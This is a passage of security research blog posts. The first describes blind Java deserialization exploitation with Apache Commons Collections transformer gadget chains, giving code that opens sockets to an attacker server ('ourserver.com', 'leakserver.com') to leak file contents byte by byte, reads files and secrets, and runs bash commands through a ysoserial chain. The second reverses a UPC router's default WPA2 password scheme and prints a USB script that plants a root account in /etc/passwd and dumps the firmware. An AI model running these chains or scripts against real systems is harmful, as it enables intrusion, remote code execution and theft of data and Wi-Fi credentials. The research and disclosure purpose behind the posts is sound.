HVleHEAfgADAAAAAAAAG1h0AAZpbnZva2V1cQB+ACQAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAhc3EAfgAXdnIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHNxAH4AHHB0AAtuZXdJbnN0YW5jZXBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAQdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AP3g=

The payload gets executed during deserialization. After that, the resulting type is LinkedList with contents: [1, Hello world, sun.reflect.annotation.AnnotationInvocationHandler@345dc05c].

It gets even better if the application serializes a Map (e.g., settings). You can sneak payload to the HashMap under a key the application does not use. In that case, the payload gets executed and the application does not throw an exception.

Our modified version of ysoserial demonstrates how to wrap payload in other structures.

Back connect gadgets

In order to test if the system is firewalled or if it is allowed to make connections to the internet we can construct the following gadget:

Socket.class.getConstructor(String.class, Integer.TYPE).newInstance("ourserver.com", 80).sendUrgentData(0xdd);

Converted to Transformer chain:

new ConstantTransformer(Socket.class),
    new InvokerTransformer("getConstructor",
            new Class[]{
                    Class[].class
            },
            new Object[]{
                    new Class[] { String.class, Integer.TYPE }
            }),
    new InvokerTransformer("newInstance",
            new Class[]{
                    Object[].class
            },
            new Object[]{
                    new Object[] { host, port }
            }),
    new InvokerTransformer("sendUrgentData",
            new Class[]{
                    Integer.TYPE
            },
            new Object[]{
                    0xdd
            }),

With this gadget, we can send some static data to our server. On ourserver.com we trace incoming packets. If a new TCP connection from our target host is made with Urgent flag and 0xdd byte, we know the JVM is allowed to connect to the remote host.

The sendUrgentData part is optional. The firewall may be configured to drop/log Urgent data, so without the urgent data, we may avoid detection by the IDS. The socket should still make the TCP handshake - visible in packet trace.

It would also be nice to call the following gadget to write to the output stream directly:

Socket.class.getConstructor(String.class, Integer.TYPE).newInstance("ourserver.com", 80).getOutputStream().write(0xdd);

But this is not possible due to the limitation of reflection invocation properties of InvokerTransformer. For more info why it’s not possible read this article till the end :) (TL;DR: the output stream returned is actually SocketOutputStream which is package-local - the write() method cannot be called this way).

Classloading gadgets

This very simple gadget tries to load a class defined by a fully specified class name. If the loading of such class ends with an exception, we know it was not found by the Classloader.

If a vulnerable app behaves differently on exception, it’s straightforward. Otherwise, we adapt the payload to Sleep after loading the class - if the class exists on the classpath, the exception is not thrown and Sleep will get executed.

Classloading gadget can be used to detect if a library is present on the system or to detect the major Java version running the application.

The gadget is:

Class.forName(className);

Translated to Transformer chains:

new ConstantTransformer(Class.class),
new InvokerTransformer("forName",
        new Class[]{
                String[].class
        },
        new Object[]{
                className
        })

With this we can check, for instance:

org.apache.commons.io.FileUtils for Apache commons-io
java.util.logging.SocketHandler should exist from Java 4. Has @since 1.4 annotation.
java.lang.ProcessBuilder for Java 5+
java.util.concurrent.LinkedBlockingDeque for Java 6+
java.util.concurrent.ConcurrentLinkedDeque for Java 7+
java.util.stream.Collectors for Java 8+

File exists test

This forms a predicate gadget, returning true if a file exists. Note the SecurityManager may be in place and the code can throw an exception - we will handle that later.

if (File.class.getConstructor(String.class).newInstance(path).exists()){
    Thread.sleep(7000);
}

After conversion to transformer chain:

TransformerUtils.switchTransformer(
    PredicateUtils.asPredicate(
        new ChainedTransformer( new Transformer[] {
            new ConstantTransformer(File.class),
            new InstantiateTransformer(
                    new Class[]{
                            String.class
                    },
                    new Object[]{
                            path
                    }),
            new InvokerTransformer("exists", null, null)
        })
    ),

    new ChainedTransformer( new Transformer[] {
        new ConstantTransformer(Thread.class),
        new InvokerTransformer("getMethod",
                new Class[]{
                        String.class, Class[].class
                },
                new Object[]{
                        "sleep", new Class[]{Long.TYPE}
                }),
        new InvokerTransformer("invoke",
                new Class[]{
                        Object.class, Object[].class
                }, new Object[]
                {
                        null, new Object[] {7000L}
                })
    }),

    TransformerUtils.nopTransformer();)

This looks more complicated and consists of more sub-components. We created utility functions to make the gadget construction simpler, e.g., the sleeping gadget is an independent component and can be constructed by a dedicated method. For more see part2.

This construction can be easily generalized to a form if (predicate) do action where action can be

Thread.sleep(7000)
Throwing an exception
Connecting with the socket

There are more interesting methods returning boolean that can be used to leak something useful (e.g., canRead, canWrite, String methods).

String reading

Transformers cannot be used in such a way the result of the computation (i.e., a file read to string) is a parameter of the method. Thus it is not possible to read a file into string and send the whole string over a socket.

We can only call methods on the result. If it is a string, we can do:

string.isEmpty() predicate to test if the string is empty.
string.contains(staticString)
string.startsWith(staticString)
string.endsWith(staticString)
string.equals(staticString)
string.equalsIgnoreCase(staticString)
string.substring(0, x) for getting portion of the string or checking the string length. IndexOutOfBoundsException is thrown.
string.substring(x-1, x).matches("[a-j]") predicate for binary searching the x-th character.

The last one is a quite important gadget. With this, we can basically read all the strings but for that, we would need a tool that does the search on the fly - generates payloads and processes the results.

File reading

The following gadget reads the whole file into a string using a trick with Scanner:

String fileContents = new Scanner(new File("filename")).useDelimiter("\\Z").next();

Converted to transformer chain:

new ConstantTransformer(Class.class),
new InvokerTransformer("forName",
    new Class[]{
            String[].class
    },
    new Object[]{
            "java.util.Scanner"
    }),
new InstantiateTransformer(
        new Class[]{
                File.class
        },
        new Object[]{
                new File(path) // File is serializable
        }),
new InvokerTransformer("useDelimiter",
        new Class[]{
                String.class
        },
        new Object[]{
                "\\Z"
        }),
new InvokerTransformer("next",
        null,
        null)

The result is a string and we can call methods on it.

Reading properties

There can be a lot of interesting stuff stored in the properties - e.g., username & password to the database.

System.getProperty("spring.datasource.url");

Interesting properties (taken from SO01):

// Operating system name
System.getProperty("os.name");

// Operating system version
System.getProperty("os.version");

// Path separator character used in java.class.path
System.getProperty("path.separator");

// User working directory
System.getProperty("user.dir");

// User home directory
System.getProperty("user.home");

// User account name
System.getProperty("user.name");

// Operating system architecture
System.getProperty("os.arch");

// Sequence used by operating system to separate lines in text files
System.getProperty("line.separator");

// JRE version number
System.getProperty("java.version");

// JRE vendor URL
System.getProperty("java.vendor.url");

// JRE vendor name
System.getProperty("java.vendor");

// Installation directory for Java Runtime Environment (JRE)
System.getProperty("java.home");

// Class path - what other interesting libraries do we have?
System.getProperty("java.class.path");

(Conversion to transformer chain is a simple call of a static method - was demonstrated earlier, for more info see source codes)

Reading environment variables

The same holds for environment variables - also a valuable source of information.

System.getenv("PATH");

OS detection

Classical OS detection can be done via nmap

nmap targethost.com -O -v

But this scanning technique requires 1 open and 1 closed port to be reliable. Closed ports are a problem to get because firewalls often filter incoming requests - SYN packet is dropped.

System.getProperty("os.name").toLowerCase().startsWith("windows")
System.getProperty("os.name").toLowerCase().contains("mac")
System.getProperty("os.name").toLowerCase().contains("darwin")
System.getProperty("os.name").toLowerCase().contains("nux")
System.getProperty("os.name").toLowerCase().contains("sunos")

Another approach to OS detection (Windows vs. Linux vs. FreeBSD vs. MAC) is to check for the existence of files typically stored in differed locations on different systems, e.g., cmd.exe or ping, ifconfig, ipconfig, ip, telnet, netstat, … Typical locations the command can be stored:

/bin
/sbin
/usr/bin
/usr/sbin

Sending characters over a socket

Guessing string characters by binary search requires some queries to do. It would be much faster if we could send individual characters over the socket to our server, assuming the socket approach works - the system is not firewalled.

As mentioned above, it is not possible to use the result as a method parameter. We cannot construct a gadget which directly sends a character over the socket. To overcome this limitation we can use SwitchTransformer and hack it a bit with enumeration:

     if (inp.equals("\u0000")) sendTcp(host, port, 0x00)
else if (inp.equals("\u0001")) sendTcp(host, port, 0x01)
else if (inp.equals("\u0002")) sendTcp(host, port, 0x02)
  .
  .
  .
else if (inp.equals("\u007f")) sendTcp(host, port, 0x7f)
else                           sendTcp(host, port, 0xff) //unknown

We already know it’s possible to execute an action if a predicate is true. To combine more such blocks, SwitchTransformer can be used.

It’s reasonable to support only ASCII characters to keep the gadget size low. We use this anyway for dumping config files - should not contain UTF8 strings. Note this is code heavy, payload like this occupies quite a lot of space.

SecurityManager

Some methods may fail due to strict SecurityManager settings. But usually it is not possible to tell the Exceptions apart. To fingerprint the SecurityManager policy, we can directly check if the particular operation is permitted before actually executing it.

The following gadgets throw SecurityException if the given action is blocked by the policy.

// Is it allowed to connect to host:port?
System.getSecurityManager().checkConnect(host, port);

// Execute command
System.getSecurityManager().checkExec(command)

// File access
System.getSecurityManager().checkRead(file);
System.getSecurityManager().checkWrite(file);
System.getSecurityManager().checkDelete(file);

// Has access to the java package
System.getSecurityManager().checkPackageAccess(pkg);

// Has access to the System.getProperty(property)
System.getSecurityManager().checkPropertyAccess(property);

Executing command, waiting for finish

Since the expressive power of the transformer language is quite low, we can also use another approach - call shell commands and signalize result with sleep as we did with Thread.sleep().

For this it would be great to call:

Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "something && sleep 7"}).waitFor();

Shell gives us full expressive power. Unfortunately waitFor cannot be called, because the exec() method returns package-local Process implementation which cannot be used with InvokerTransformer.

We can instead use the following hack to wait for a process to finish.

final String fname = "/tmp/.x" + Math.abs(rnd.nextInt());
final String[] exc = new String[] {"/bin/bash", "-c", "something && sleep 7; touch " + fname + "; sleep 2; /bin/rm " + fname};

It performs the computation (something) and the blind sleep technique to return the output. Then it creates a temporary file and deletes it after a while. The file signalizes to our waiting Java thread the task has finished. For this to work, we have to check if we are allowed to create and delete temporary files (SecurityManager, File.canWrite()).

If we are, it is still quite risky because it leaves traces. If something goes wrong, the files will be left on the system. We can try to delete them from time to time, but still…

Now we need a gadget that will sleep until it detects the temporary file our gadget created. For that we will make use of WhileClosure and ForClosure together with File existence predicate.

for(i=0; i<80; i++)
    while(!fileExists(fname)) Sleep(250);

The for loop is here to avoid infinite loop on the file check - it defines the maximum amount of time to wait for process to complete. If something goes wrong and the file does not get created, the application would freeze. We don’t want to DoS the application (yet) and attract attention. If the file gets created, the loop quickly finishes and the page blocking ends.

Conclusion

We aimed to demonstrate the exploitation in restricted environments with the use of blind technique, inspired by Blind SQL Injection attacks. With given gadgets it’s possible to gather interesting information about the target system and maybe mount another attacks which would not be possible via deserialization vulnerability otherwise.

We made utilities to generate the payloads and to test them before using them on real targets. This is especially useful to test blind techniques like string guessing with bisection. Our further work is to automate this exploitation technique in the same way as sqlmap does.

If you’d like to know more on gadget constructions and limitations, keep reading.

Digging deeper - Theory

In the following section we will take a closer look on gadget constructions and tool arsenal we can use for that.

Basic commons1 exploit chain

In order to understand how the gadgets are constructed and executed on the target machine, let’s go through the gadget taken from the ysoserial project - RCE.

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),

    new InvokerTransformer("getMethod",
        new Class[] {
            String.class, Class[].class },
        new Object[] {
            "getRuntime", new Class[0] }),

    new InvokerTransformer("invoke",
        new Class[] {
            Object.class, Object[].class },
        new Object[] {
            null, new Object[0] }),

    new InvokerTransformer("exec",
        new Class[] {
            String[].class },
        new Object[] {
            new String[]{"/bin/bash", "-c", "sleep 5"} }),
        cmdType, execArgs),

    new ConstantTransformer(1) };

The code essentially aims to execute the following:

Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "sleep 5"});

This needs rewriting a bit because we cannot construct the gadget exactly like this. We need to use some Transformer from our toolbox to do the job. ConstantTransformer accepts a serializable object, so we initialize it with Runtime.class which is serializable. Then we can chain multiple invocations with InvokerTransformer

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"/bin/bash", "-c", "sleep 5"});

After translation to Transformer language, the final code that gets executed on the host looks like this:

// Constant transformer 1
Object input = Runtime.class;

// Invocation transformer 1
Class cls = input.getClass();
Method method = cls.getMethod("getMethod", String.class, Class[].class);
input = method.invoke(input, "getRuntime", new Class[0]);

// Invocation transformer 2
cls = input.getClass();
method = cls.getMethod("invoke", Object.class, Object[].class);
input = method.invoke(input, null, new Object[0]);

// Invocation transformer 3
cls = input.getClass();
method = cls.getMethod("exec", String[].class);
input = method.invoke(input, new Object[]{new String[]{"/bin/bash", "-c", "sleep 5"}});

Language and expressivity

There are 3 basic types of objects in the Commons language we can use to build our payload / gadgets.

Transformers
Predicates
Closures

Transformers

A Transformer (functor) converts the input object to the output object. The input object should be left unchanged. Transformers can be chained.

Standard implementations of common transformers are provided by TransformerUtils. These include method invocation, returning a constant, cloning and returning the string value.

package org.apache.commons.collections;
public interface Transformer {
    public Object transform(Object input);
}

List of the Transformers: ChainedTransformer, CloneTransformer, ClosureTransformer, ConstantTransformer, ExceptionTransformer, FactoryTransformer, InstantiateTransformer, InvokerTransformer, MapTransformer, NOPTransformer, PredicateTransformer, StringValueTransformer, SwitchTransformer.

Predicates

A Predicate is the object equivalent of an if statement. Evaluates an expression on input object, returns true/false. Can be used in IfClosure, SwitchClosure, SwitchTransformer, WhileClosure.

Standard implementations of common predicates are provided by PredicateUtils. These include true, false, instanceof, equals, and, or, not, method invocation and null testing.

package org.apache.commons.collections;
public interface Predicate {
    public boolean evaluate(Object object);
}

List of the Predicates: TruePredicate, FalsePredicate, NotPredicate, AndPredicate, OrPredicate, AllPredicate, AnyPredicate, NonePredicate, OnePredicate, EqualPredicate, IdentityPredicate, InstanceofPredicate, NullPredicate, NotNullPredicate, NullIsExceptionPredicate, NullIsFalsePredicate, NullIsTruePredicate, ExceptionPredicate, TransformedPredicate, TransformerPredicate, UniquePredicate.

Closures

A Closure represents a block a code, takes input, produces nothing. Used in loops.

Standard implementations of common closures are provided by ClosureUtils. These include method invocation and for/while loops.

package org.apache.commons.collections;
public interface Closure {
    public void execute(Object input);
}

List of the Closures: ChainedClosure, ExceptionClosure, ForClosure, IfClosure, NOPClosure, SwitchClosure, TransformerClosure, WhileClosure.

Expressivity

Using the given tools we can construct chains which perform something actually useful.

Using ConstantTransformer and InvokerTransformer we can construct chains like this:

SerializableConstant.method1(const).method2(const)....methodN(const);

This is followed also by ysoserial exploit, very easy one. A few important things to notice:

Serializable static chain start

ConstantTransformer can accept only Serializable objects in order to work in payload. e.g., String, File, Class, Object[], Long, …

On the other hand, we can start with a different Transformer, e.g., InstantiateTransformer to create a new instance as a start of the chain.

Serializable static method arguments

Due to InvokerTransformer internal mechanism, we cannot pass the result of the computation as a method argument. All method arguments have to be also Serializable objects, created in time of payload generation. E.g., it is not possible to construct a gadget like: sendFile(readFile("/etc/passwd"));

Some methods cannot be called at all

For example it is not possible to do:

Runtime.getRuntime().exec(cmd).waitFor();

The reason is the returned object after exec(cmd) is expected to be a Process object according to the interface. Thus it should be possible to call waitFor method. But the real returned object is UNIXProcess (in my case) which is package local. InvokerTransformer essentially does:

Class cls = input.getClass(); // input instanceof UNIXProcess
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

Reflection call on the package local object fails, the method is not accessible. We could try to hack it with calling input.getMethod("waitFor).setAccessible(true) but then we would need to do waitForMethod.invoke(process)

object to call method on is the first argument of invoke method. But as we mentioned in the point above, we cannot pass results as arguments in our gadgets.

Closures and predicates

Using Closures and Predicates, we can do even more things and express complicated code paths. So far we called a method on a previously returned result. At some point we may need to call methods on the same object multiple times.

OutputStream os = Socket.class.getConstructor(String.class, Integer.TYPE).newInstance("leakserver.com", 80).getOutputStream();
os.write(0x01);
os.write(0x23);
os.write(0x34);

As Closures accept input, process it and return the same input, we can use them for this. Note the result of Closure computation is ignored. The key part here is ClosureTransformer

<Constant>       -> Serializable (String, Integer, Long, File, Array, Class, ...)
<Int>            -> 0,1,2...
<Constant>       -> <Transformer>
<Transformer>    -> <Predicate>
<Transformer>    -> <Closure>
<Closure>        -> ;
<Closure>        -> <Closure> <Closure>
<Closure>        -> for(int i=0; i < <Int>; i++) { <Closure> }
<Closure>        -> while( <Predicate> ) { <Closure> }
<Closure>        -> do { <Closure> } while( <Predicate> )
<Closure>        -> if (<Predicate>) { <Closure> } else { <Closure> }
<Closure>        -> if (<Predicate>) { <Closure> } <Closure-Switch> else { <Closure> }
<Closure-Switch> -> else if (<Predicate>) { <Closure> } <Closure-Switch> | \eps

With closures we can express very simple branching and looping, it forms a simple language. Key components here are the conversion classes:

TransformerClosure : Wraps Transformer in Closure
ClosureTransformer : Wraps Closure in Transformer
TransformerPredicate : Evaluates transformer, wraps in Predicate

Predicates can be easily combined together in an intuitive way (not, or, and, for all).

Conclusion 2

That’s all for now on the gadget construction. If you happen to find another interesting gadget, leave us a note either on email or twitter, we will add it to the list.

Thanks for reading.

Glossary - how it works from the inside

Here follows the list of usable tools we can use in gadget construction in Apache Commons exploits. Only the core code is present for each one so one can quickly get the functionality of the component.

Package for all predicates, closures and transformers is org.apache.commons.collections.functors.

Predicate glossary

All predicates follow.

TruePredicate

public boolean evaluate(Object object) {
    return true;
}

FalsePredicate

public boolean evaluate(Object object) {
    return false;
}

NotPredicate

public boolean evaluate(Object object) {
    return !(iPredicate.evaluate(object));
}

AndPredicate

public boolean evaluate(Object object) {
   return (iPredicate1.evaluate(object) && iPredicate2.evaluate(object));
}

OrPredicate

public boolean evaluate(Object object) {
   return (iPredicate1.evaluate(object) || iPredicate2.evaluate(object));
}

AllPredicate

public boolean evaluate(Object object) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(object) == false) {
            return false;
        }
    }
    return true;
}

AnyPredicate

public boolean evaluate(Object object) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(object)) {
            return true;
        }
    }
    return false;
}

NonePredicate

public boolean evaluate(Object object) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(object)) {
            return false;
        }
    }
    return true;
}

OnePredicate

public boolean evaluate(Object object) {
    boolean match = false;
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(object)) {
            if (match) {
                return false;
            }
            match = true;
        }
    }
    return match;
}

EqualPredicate

public boolean evaluate(Object object) {
    return (iValue.equals(object));
}

IdentityPredicate

public boolean evaluate(Object object) {
    return (iValue == object);
}

InstanceofPredicate

public boolean evaluate(Object object) {
    return (iType.isInstance(object));
}

NullPredicate

public boolean evaluate(Object object) {
    return (object == null);
}

NotNullPredicate

public boolean evaluate(Object object) {
    return (object != null);
}

NullIsExceptionPredicate

public boolean evaluate(Object object) {
    if (object == null) {
        throw new FunctorException("Input Object must not be null");
    }
    return iPredicate.evaluate(object);
}

NullIsFalsePredicate

public boolean evaluate(Object object) {
    if (object == null) {
        return false;
    }
    return iPredicate.evaluate(object);
}

NullIsTruePredicate

public boolean evaluate(Object object) {
    if (object == null) {
        return true;
    }
    return iPredicate.evaluate(object);
}

ExceptionPredicate

public boolean evaluate(Object object) {
    throw new FunctorException("ExceptionPredicate invoked");
}

TransformedPredicate

public boolean evaluate(Object object) {
    Object result = iTransformer.transform(object);
    return iPredicate.evaluate(result);
}

TransformerPredicate

Essential predicate that takes transformer output. With this we can construct gadgets like: if (string.isEmpty()) Thread.sleep(7000);.

public boolean evaluate(Object object) {
    Object result = iTransformer.transform(object);
    if (result instanceof Boolean == false) {
        throw new FunctorException(
            "Transformer must return an instanceof Boolean, it was a "
                + (result == null ? "null object" : result.getClass().getName()));
    }
    return ((Boolean) result).booleanValue();
}

UniquePredicate

public boolean evaluate(Object object) {
    return iSet.add(object);
}

Closure glossary

List of all closures available for use in gadgets with the key functionality.

ChainedClosure

Increases expressivity of the language.

public void execute(Object input) {
    for (int i = 0; i < iClosures.length; i++) {
        iClosures[i].execute(input);
    }
}

ExceptionClosure

public void execute(Object input) {
    throw new FunctorException("ExceptionClosure invoked");
}

ForClosure

Increases expressivity of the language.

public void execute(Object input) {
    for (int i = 0; i < iCount; i++) {
        iClosure.execute(input);
    }
}

IfClosure

Increases expressivity of the language.

public void execute(Object input) {
    if (iPredicate.evaluate(input) == true) {
        iTrueClosure.execute(input);
    } else {
        iFalseClosure.execute(input);
    }
}

NOPClosure

public void execute(Object input) {
    // do nothing
}

SwitchClosure

public void execute(Object input) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(input) == true) {
            iClosures[i].execute(input);
            return;
        }
    }
    iDefault.execute(input);
}

TransformerClosure

Essential Closure, enables to hide transformer in the closure. With this we can process input data without destroying it so the next transformer can call methods on the exactly same input object.

public void execute(Object input) {
    iTransformer.transform(input);
}

WhileClosure

Increases expressivity of the language.

public void execute(Object input) {
    if (iDoLoop) {
        iClosure.execute(input);
    }
    while (iPredicate.evaluate(input)) {
        iClosure.execute(input);
    }
}

Transformer Glossary

List of all transformers available for use in gadgets with the key functionality.

ChainedTransformer

Essential Transformer for chaining more transformers into one. Enables to construct invocation chains.

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

CloneTransformer

Quite useless.

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    return PrototypeFactory.getInstance(input).create();
}

ClosureTransformer

Essential for using Closures in the Transformer chain.

public Object transform(Object input) {
    iClosure.execute(input);
    return input;
}

ConstantTransformer

Essential for starting a new Transformer chain. Input has to be Serializable so it works in the payload.

public Object transform(Object input) {
    return iConstant;
}

ExceptionTransformer

public Object transform(Object input) {
    throw new FunctorException("ExceptionTransformer invoked");
}

FactoryTransformer

Useless.

public Object transform(Object input) {
    return iFactory.create();
}

InstantiateTransformer

Can be seen as a syntactic sugar - looks for constructor and instantiates a class. This can be done also with ConstantTransformer and InvokerTransformer. The benefit is the payload is smaller when using this Transformer for the purpose.

public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                    + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException ex) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
    }
}

InvokerTransformer

Essential class for method invocation on the input object.

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

MapTransformer

Map is passed on initialization. If the whole map is serializable, can be used for something particular, but in general it is quite useless.

public Object transform(Object input) {
    return iMap.get(input);
}

NOPTransformer

public Object transform(Object input) {
    return input;
}

PredicateTransformer

Converts predicate to transformer. Not very useful.

public Object transform(Object input) {
    return (iPredicate.evaluate(input) ? Boolean.TRUE : Boolean.FALSE);
}

StringValueTransformer

This can be used to convert primitive value returned from the previous call to object again (String) so we can call methods on it / extract the value.

public Object transform(Object input) {
    return String.valueOf(input);
}

SwitchTransformer

Nice tool for multiple predicate-check pairs.

public Object transform(Object input) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(input) == true) {
            return iTransformers[i].transform(input);
        }
    }
    return iDefault.transform(input);
}

UPC UBEE EVW3226 WPA2 Password Reverse Engineering, rev 3

Fri, 01 Jul 2016 08:00:00 +0200

TL;DR: We reversed default WPA2 password generation routine for UPC UBEE EVW3226 router.
This blog contains firmware analysis, reversing writeup, function statistical analysis and proof-of-concept password generator.

Parts:

Introduction
Firmware Extraction
Firmware Analysis
Reversing part 2 (Profanity Analysis)
Conclusion
Wardriving
Android Apps
Sources
Responsible Disclosure

Updates:

05-07-2016: wifileaks.cz data set analyzed
11-07-2016: wardrive statistics extended, vendors added, UPC solution mentioned.
05-11-2016: Hypothesis rejection diagrams improved, link to presentation added.

Introduction

This work was motivated by the work of Blasty. Several months ago he published the algorithm ( upc_keys.c ) generating candidate default WPA2 passwords for UPC WiFi routers using just SSID of the router. Vulnerable routers used just router ID to generate default WiFi password and WiFi SSID. Algorithm goes through all possible router serial IDs and if SSID matches, it prints out candidate WiFi passwords (cca 20).

To our surprise it worked pretty well in our city, where 6 out of 10 UPC WiFi around were vulnerable. But it didn’t work for newer router models and for my own. So we decide to look at this particular model if we were lucky to find the same vulnerability in it.

Our modem is UBEE EVW3226. As I don’t want to experiment on my own home router I bought one from the guy selling exactly the same model. There are guys who managed to get root access to the router by connecting to the UART interface of the router. I recommend going through this article: https://www.freeture.ch/?p=766 or http://jcjc-dev.com/2016/06/08/reversing-huawei-4-dumping-flash/.

Lucky for us, we didn’t have to mess with the UART interface of the router even though I was looking forward to it. Just a day before I bought my UBEE router for experiments, Firefart published an article on how to get a root on the router just by inserting a USB drive with simple scripts.

Tl;dr: If USB drive has name EVW3226, shell script .auto on it gets executed with system privileges. With this script you start SSH server, connect prepared USB drive to the router and enjoy the root.

Firmware Extraction

With this I managed to dump the whole firmware on the mounted USB drive. The script we use to start SSH daemon and to dump the firmware is below. Note: for detailed instructions on preparing USB drive please refer to the original article.

#!/bin/bash
if [ ! -e /etc/passwd.1 ]; then
	cp /etc/passwd /etc/passwd.1

    # dropbear_rsa_host_key has to be prepared on the USB drive 
    echo "admin:FvTuBQSax2MqI:0:0:admin,,,:/:/bin/sh" > /etc/passwd
    dropbear -r /var/tmp/disk/dropbear_rsa_host_key -p 192.168.0.1:22

    # Dump router FS to the drive as tar
    WHERE=/var/tmp/disk/HOMEROUTER
    mkdir -p ${WHERE}
    tar -cvpf ${WHERE}/router-image-root.tar -X/var/tmp/disk/tar-exclude /
    sync

    ## dd all mounted file systems
    for i in 0 1 2 3 4 5 6 7 8 9 10; do echo "CurDisk: mtdblock$i"; dd if="/dev/mtdblock${i}"\
           of="${WHERE}/fw-${i}.bin" bs=1 conv=noerror; done
    for i in 0 1 2 3 4 5 6 7 8 9 10; do echo "CurDisk: mtd$i"; dd if="/dev/mtd${i}" \
           of="${WHERE}/fw-${i}b.bin" bs=1 conv=noerror; done
    sync

    # Make simple FS copy
    DDIR=`pwd`
    WHERE=/var/tmp/media/0AAA-0E65/HOMEROUTER
    cd /
	mkdir -p $WHERE
	find /proc -type f | grep -v '/sys/' | grep -v '/net/' | grep -v '/kmsg' | \
       while read F ; do
   		D=${WHERE}/${F%/*}
   		echo "D: $D  F: $F WHERE: ${WHERE}$F"
   		test -d "$D" || mkdir -p $D && echo "DIR: $D"
   		test -f "${WHERE}$F" || cat $F > ${WHERE}$F
	done
	cd "$DDIR"
fi

This is actually very powerful and convenient attack vector. One comes with USB drive to the router, plugs it in and has a WPA2 password in seconds (all system configuration).

I’ve created a TAR of the whole filesystem plus raw binary images of the mounted file system. With SSH I could start to mess around with the router firmware.

Firstly, the quick review of mounted file systems:

# mount
rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
ramfs on /var type ramfs (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
tmpfs on /dev type tmpfs (rw,relatime)
devpts on /dev/pts type devpts (rw,relatime,mode=600)
/dev/mtdblock10 on /nvram type jffs2 (rw,relatime)
tmpfs on /fss type tmpfs (rw,relatime)
/dev/mtdblock6 on /fss/gw type squashfs (ro,relatime)
/dev/mtdblock7 on /fss/fss2 type squashfs (ro,relatime)
/dev/mtdblock9 on /fss/fss3 type squashfs (ro,relatime)
tmpfs on /etc type tmpfs (rw,relatime)
/dev/sda1 on /var/tmp/media/0AAA-0E65 type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=cp437,iocharset=utf8,shortname=mixed,errors=remount-ro)

# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00020000 00010000 "U-Boot"
mtd1: 00010000 00010000 "env1"
mtd2: 00010000 00010000 "env2"
mtd3: 00b80000 00010000 "UBFI1"
mtd4: 001c191c 00010000 "Kernel"
mtd5: 00504c00 00010000 "RootFileSystem"
mtd6: 00377000 00010000 "FS1"
mtd7: 00440000 00010000 "FS2"
mtd8: 00b80000 00010000 "UBFI2"
mtd9: 00400000 00010000 "FS3"
mtd10: 00080000 00010000 "nvram"

Calling the cli command revealed firmware version

# cli
IMAGE_NAME=vgwsdk-3.5.0.24-150324.img
FSSTAMP=20150324141918
VERSION=EVW3226_1.0.20

While USB was dumping the firmware I went for the target - WiFi password. In the process list ps -a I’ve found:

5681 admin     1924 S    hostapd -B /tmp/secath0

hostapd is clearly the daemon running WiFi. It has the password to the WiFi stored in its configuration. And clearly, there must be a binary/script that generates that configuration when user changes the password OR the router is factory reset.

The file secath0 stores the current WiFi configuration. I select only relevant lines for simplicity. The configuration file stated:

interface=ath0
bridge=rndbr1
dump_file=/tmp/hostapd.dump
ctrl_interface=/var/run/hostapd
ssid=UPC2659797

wpa=3
wpa_passphrase=IVGDQAMI
wpa_key_mgmt=WPA-PSK

Great, we have SSID and PASSPHRASE stored here. Something must have generated this configuration file.

Firmware Analysis

For more experiments, we use router-image-root.tar, extract it on local file system to look around. With this we find interesting binaries that have something to do with secath0 file. Note this is naive approach, the thing you try first. Binaries might have been obfuscated so the strings won’t reveal anything. In this case, we were lucky.

find . -type f -exec grep -il 'secath0' {} \;
./fss/gw/lib/libUtility.so
./fss/gw/usr/sbin/aimDaemon
./fss/gw/usr/www/cgi-bin/setup.cgi
./var/tmp/conf_filename
./var/tmp/www/cgi-bin/setup.cgi

